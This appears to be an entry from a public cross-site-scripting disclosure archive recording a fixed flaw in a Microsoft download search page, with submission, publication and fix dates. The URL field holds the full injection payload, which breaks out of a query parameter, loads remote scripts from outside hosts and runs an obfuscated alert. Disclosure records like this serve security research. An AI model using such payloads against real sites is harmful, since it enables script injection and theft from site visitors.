Security researcher flexxpoint, has submitted on 17/11/2011 a cross-site-scripting (XSS) vulnerability affecting www.microsoft.com, which at the time of submission ranked 31 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 10/05/2012. It is currently fixed. |
Date submitted: 17/11/2011 |
Date published: 10/05/2012 |
Date fixed: 10/05/2012 | Status: FIXED |
Author: flexxpoint |
Domain: www.microsoft.com |
Category: XSS |
Pagerank: 31 |
URL: http://www.microsoft.com/download/en/search.aspx?q=t*&p=0&r=10&t=3&s=availabledate~Descending'"--><S cRIPT x src=//0x.lv?</style></script><script>alert(String.fromCharCode(66,101,115,116,32,114,101,103,97,114, 100,115,32,102,114,111,109,32,66,117,108,103,97,114,105,97))</script><script src=http://ckers.org/xss.js> |
Click here to view the mirror
|
|
|